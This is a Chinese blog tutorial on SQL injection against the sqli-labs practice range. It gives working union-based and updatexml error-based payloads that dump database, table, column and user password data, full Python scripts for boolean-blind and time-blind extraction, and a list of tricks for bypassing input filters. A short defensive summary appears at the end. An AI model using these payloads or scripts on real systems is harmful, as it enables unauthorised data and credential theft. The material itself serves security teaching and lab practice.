SQL注入漏洞全面总结

本文详细介绍了SQL注入漏洞的概念、MySQL基础知识,包括查询语句、符号、函数等,并探讨了多种SQL注入类型如联合注入、报错注入、时间盲注等。此外,还阐述了SQL注入的基本流程和如何通过构造闭合、确定字段数等步骤来探测数据库信息。最后,文章列出了多种绕过防御机制的方法,以及推荐的SQL注入工具sqlmap和靶场sqli-labs。
摘要由CSDN通过智能技术生成

作者永不落的梦想

作者主页传送

座右铭过去属于死神,未来属于自己

本文专栏Web漏洞篇

今日鸡汤发光并非太阳的专利,你也可以发光

目录

一、SQL注入漏洞概述

二、MySQL基础

1. 基本查询语句

2. 符号

3. 重要函数

4. 重要数据库、表、字段名

三、SQL注入漏洞分类

四、SQL注入基本流程

1. 构造闭合

2. 确定查询字段数

3. 确定回显位

4. 查询数据库名

5. 查询数据库的表名

6. 查询表的字段名

7. 查询字段的数据

 五、注入方式详解

1. 联合注入

2. 报错注入

3. 布尔盲注

4. 时间盲注

5. 堆叠注入

6. 宽字节注入

7. 二次注入

8.其他注入

六、绕过

1. 空格过滤

2. substr()、sleep()、if()过滤

3. 空flag

4.等号=过滤

5.and、or过滤

6.引号过滤

7.比较运输符过滤

8.注释符#过滤

9.黑名单限制


一、SQL注入漏洞概述

        SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞可以访问或修改数据库数据,或者利用潜在的数据库漏洞进行攻击;

        SQL注入是一种将SQL语句插入到用户的输入参数中、输入参数被数据库服务器解析执行的攻击方式;

        任何客户端可控,传递到服务器的变量,并且与数据库进行交换,都可能存在SQL注入漏洞;

        在处理程序和数据库交互时,直接拼接字符串构造SQL语句或未经严格过滤都将造成SQL注入漏洞;

二、MySQL基础

1. 基本查询语句

①select  [distinct]  字段名  [as  别名]  from  表名  [where  查询条件]  [group  by  分组字段  having  分组后的查询条件]  [order  by  排序字段  desc/asc]  [limit  分页参数]

②select 字段1,字段2 from 表名1 where 查询条件 union select 字段3,字段4 from 表名2

2. 符号

><
>=<=
=!=
and(&&)or(||)
likein

3. 重要函数

substr(str,start,len)返回str自start个字符起长len个字符的字符串
group_concat(str1,str2,……)返回多个字符串以逗号作为分隔拼接的字符串
concat(str1,str2,……)返回多个字符串拼接后的字符串
sleep(n)睡眠n秒钟
length(str)返回字符串长度
if(value,true,false)value为真执行true、为假执行flase
version()返回数据库版本信息
database()返回当前数据库名
user()返回用户名
current_user()返回当前用户名
system_user()返回系统用户名
@@datadir返回数据库安装路径
@@basedir返回MySQL安装路径
@@version_compile_os返回操作系统版本信息

4. 重要数据库、表、字段名

information_schema数据库,记录了所有数据库的信息;

information_schema.schemata表,记录了所有数据库信息,其中schema_name字段为数据库名;

information_schema.tables表,记录了所有表信息,其中table_name字段为表名;

information_schema.columns表,记录了所有字段信息,其中column_name为字段名;

三、SQL注入漏洞分类

按数据类型分类
数字型(不需要闭合)字符型(需要闭合)
按注入方式分类
联合注入报错注入
时间盲注布尔盲注
堆叠注入宽字节注入
二次注入DNSlog注入

四、SQL注入基本流程

1. 构造闭合

传参?id=1,查询正常;

传参?id=1',出现报错,分析''1'' LIMIT 0,1'可知,最外层单引号是页面回显自带的,即'1'' LIMIT 0,1才是SQL语句的内容,1左边多的一个单引号是用户输入的,因此'1'是单引号闭合;

2. 确定查询字段数

传参?id=1' order by 4%23,出现报错(%23为注释符#的url编码,get用%23,post用#);

传参?id=1' order by 3%23,查询正常,说明查询字段数为3;

3. 确定回显位

传参?id=0' union select 1,2,3%23,回显2和3,说明回显位是第二和第三位;

4. 查询数据库名

传参?id=0' union select 1,2,database()%23,可得当前数据库为security;

传参?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata %23,可得所有数据库名为information_schema和security;

5. 查询数据库的表名

传参?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23,可得当前数据库security的表名;

6. 查询表的字段名

传参?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23,可得users表的字段名;

7. 查询字段的数据

传参?id=0' union select 1,group_concat(username),group_concat(password) from users%23,可得users表的username和password字段的值;

 五、注入方式详解

1. 联合注入

原理

        通过union关键字实现一条SQL语句查询两张表的数据并将查询到的数据以相同的格式返回;

注入场景

        union、select、#等关键字未被过滤或者可以绕过过滤;

        union前后两次查询的字段数一致;

        有回显位;

注入流程

        ①构造闭合——输入' " # \等字符结合回显信息可判断闭合方式;

        ②使用order by确定查询字段数——order by 数字n表示按照第n个字段查询,当第n个字段不存在时会报错,以此可确定字段数 ;

        ③绕过union、select等关键字过滤——双写绕过、大小写绕过、/**/或()绕过空格等;

        ④确定显示位——使用union select 1,2,3……确定回显位,当回显记录数不足时需将union前的查询输入空查询或用limit分页查询或用group_concat()函数拼接,当回显长度数不足时使用substr()函数分块查询回显;

        ⑤查询数据库、表、字段名和数据;

2. 报错注入

原理

        updatexml()等报错函数的第二个参数必需为Xpath格式否则报错,当第二个参数为SQL语句时,会执行SQL语句并将执行结果作为报错内容回显;

注入场景

        页面无查询结果回显,但有SQL语句报错信息回显;

案例

传参?id=1,无查询数据回显;

传参?id=1',出现SQL语句报错信息;

 由以上可判断,应使用报错注入,并且是单引号闭合,按以下传参查询数据:

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
# 返回数据库名:security

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23
# 返回表名:emails,referers,uagents,users

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)%23
# 返回字段名:id,username,password

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)%23
# 返回查询数据:Dumb,Angelina,Dummy,secure
# 此处报错回显长度不足,可以使用substr()函数分块回显

3. 布尔盲注

原理

        页面只有代表True和False的回显时,通过or、and连接构造的判断语句根据回显True或False可一步一步确定查询数据的每一个字符,编写python脚本可快速返回查询数据;

注入场景

        只有代表True和False的两种回显输出;

案例

无论输入什么只有以下两种回显,判断为布尔盲注;

通过简单测试构造闭合为1'#,编写python脚本查询数据,脚本中只需改变sql变量的SQL查询语句即可,布尔盲注python脚本如下:

# 布尔盲注python脚本

import requests

url = 'http://sqli-labs/Less-8/'  # 请求的url
sql = 'select database()'         # SQL查询语句,依次查询数据库名、表名、字段名、数据
flag = ''                         # flag表示目标值

for i in range(1, 100):           # 假设flag长度为1-100
    left = 0                      # 最小ASCII码
    right = 127                   # 最大ASCII码
    mid = (left + right) // 2     # 使用二分法查找flag的每个字符的ASCII码
    while 1:
        payload = {'id': f"1' and ascii(substr(({sql}),{i},1))>{mid}#"}
        res = requests.get(url, params=payload)
        if 'You are in' in res.text:    # 布尔盲注为True时的回显
            left = mid
            mid = (left + right) // 2
        else:
            right = mid
            mid = (left + right) // 2
        if mid == 1:
            break
        elif (right - left) <= 1:
            flag += chr(right)          # 将查询到的ASCII码转字符拼接到flag中
            print(flag)
            break
    # 当查询字符串全部已输出时,substr返回空字符而mid最后值为1,以此作为结束循环的标志
    if mid == 1:
        print('已输出所有字符')
        break
sql='select database()'时输出数据库名:security

sql='select group_concat(table_name) from information_schema.tables where table_schema="security"'时输出表名:emails,referers,uagents,users

…………略

4. 时间盲注

原理

        使用sleep()和if()函数构造payload,通过页面回显时间判断payload内的条件是否正确,进而确定查询数据的每一个字符;

注入场景

        页面只有一种回显

案例

经测试,无论输入什么,页面都只有一种回显,可以判断为时间盲注,并且为单引号闭合;

时间盲注python脚本如下,只需改变sql变量的SQL查询语句即可:

# 时间盲注python脚本

import requests
import time

url = 'http://sqli-labs/Less-9/'  # 请求的url
sql = 'select database()'         # SQL查询语句,依次查询数据库名、表名、字段名、数据
flag = ''                         # flag表示目标值

for i in range(1, 100):           # 假设flag长度为1-100
    left = 0                      # 最小ASCII码
    right = 127                   # 最大ASCII码
    mid = (left + right) // 2     # 使用二分法查找flag的每个字符的ASCII码
    while 1:
        payload = {'id': f"1' and if(ascii(substr(({sql}),{i},1))>{mid},sleep(3),1)#"}
        time_start = time.time()        # 记录发起请求时的时间
        res = requests.get(url, params=payload)
        if time.time()-time_start > 3:  # 计算时间差,时间盲注为True时页面sleep(3)
            left = mid
            mid = (left + right) // 2
        else:
            right = mid
            mid = (left + right) // 2
        if mid == 1:
            break
        elif (right - left) <= 1:
            flag += chr(right)          # 将查询到的ASCII码转字符拼接到flag中
            print(flag)
            break
    # 当查询字符串全部已输出时,substr返回空字符而mid最后值为1,以此作为结束循环的标志
    if mid == 1:
        print('已输出所有字符')
        break

时间盲注比较耗时间,特别是在网络状况不好的情况下需要将sleep时间设置大一点才能保证结果的正确性,这更加消耗时间;

时间盲注虽然只有一种回显,但是源代码不一定完全相同,可以找出其差异使用布尔盲注来提高效率;

5. 堆叠注入

原理

        输入SQL语句结束符 ; 并且在结束符后插入新的SQL语句,导致服务器执行多条SQL语句,以此执行攻击者想执行的SQL语句;

注入场景

        服务器使用了一次可执行多条SQL语句的函数连接数据库查询数据(如php中的mysqli_multi_query()函数);

6. 宽字节注入

原理

        为防止SQL注入攻击,有时会对用户输入的单引号、双引号等特殊字符前加反斜杠 \ 转义,而在精心构造的payload中,加入的反斜杠 \ 与原引号前的字符组合成宽字节的汉字,反斜杠\的转义作用也就失效了,引号等字符可以正常起作用;

注入场景

        数据库与php编码方式不同(如php使用utf-8编码、数据库使用GBK编码);

案例

输入单双引号都正常回显;

传参?id=1%df ',出现SQL语句报错,说明单引号其作用了,而%df与反斜杠\组合成了宽字节的汉字,可以确定为宽字节注入,并且是单引号闭合;

使用%df绕过反斜杠\转义,然后构造闭合正常注入即可;

7. 二次注入

原理

        输入的恶意数据被防御机制转义不起作用,而存储到数据库的数据是未转义的恶意数据,当数据库下次查询恶意数据时造成SQL二次注入攻击;

注入场景

        恶意数据在未被过滤或转义的情况下被存储到数据库;

8.其他注入

        DNSlog注入、quine注入等等;

六、绕过

1. 空格过滤

        使用注释符/**/、括号()、%0a等代替空格的作用、或updatexml注入不需要空格;

2. substr()、sleep()、if()过滤

        使用mid()、substring()函数代替substr(),使用benchmark()、笛卡尔积函数代替sleep(),使用case when语句代替if();

3. 空flag

        当select flag from flag查询为空时,可能是未指定数据库的原因,改为select flag from ctf.flag

4.等号=过滤

        使用like+通配符%或_代替;

5.and、or过滤

        大小写绕过、双写绕过、替换为符号(and->&&、or->||);

6.引号过滤

        编码hex()或char()绕过、宽字节注入;

7.比较运输符过滤

        greatest()返回最大值、least()返回最小值;

8.注释符#过滤

        前后同时闭合;

9.黑名单限制

        select group_concat('a','d','m','i','n') 等效于 admin;

SQL注入工具:sqlmap,SQL注入靶场:sqli-labs

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入漏洞挖掘实战是指通过利用SQL注入漏洞漏洞挖掘活动。SQL注入漏洞是一种常见的数据库攻击手段,用于利用应用程序对用户输入的SQL语句进行不当处理,从而导致恶意用户可以执行未经授权的数据库操作。这些操作包括读取、修改或删除数据库中的数据。 在SQL注入漏洞挖掘实战中,黑客通常会尝试通过构造特定的SQL语句来绕过应用程序的输入验证和过滤机制,以获取敏感信息或对数据库进行恶意操作。他们可能会使用各种技术和工具来自动化这个过程,并尝试发现和利用潜在的SQL注入漏洞。 为了防止SQL注入漏洞挖掘实战,开发人员应该采取以下措施: 1. 输入验证和过滤: 应用程序应该对用户输入进行严格的验证和过滤,确保只允许合法的字符和格式。使用参数化查询或预编译语句可以有效预防SQL注入攻击。 2. 最小权限原则: 数据库用户应该被授予最低权限,以限制对数据库的访问和操作。这样即使发生SQL注入攻击,黑客也只能执行有限的操作。 3. 安全编码实践: 开发人员应该熟悉安全编码实践,并使用安全的API和框架来构建应用程序。避免将用户输入直接拼接到SQL查询中,而是使用参数化查询或预编译语句。 4. 定期漏洞扫描和安全测试: 定期进行漏洞扫描和安全测试,以发现和修复潜在的SQL注入漏洞。这可以帮助及早发现和解决问题,确保应用程序的安全性。 总结起来,SQL注入漏洞挖掘实战是黑客利用SQL注入漏洞进行恶意攻击的活动。为了防止这种漏洞的利用,开发人员需要采取一系列安全措施,包括输入验证和过滤、最小权限原则、安全编码实践和定期漏洞扫描和安全测试。这些措施可以帮助保护应用程序免受SQL注入漏洞的威胁。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [SQL注入攻击实战演示(附源码)](https://blog.csdn.net/hack0919/article/details/129880265)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值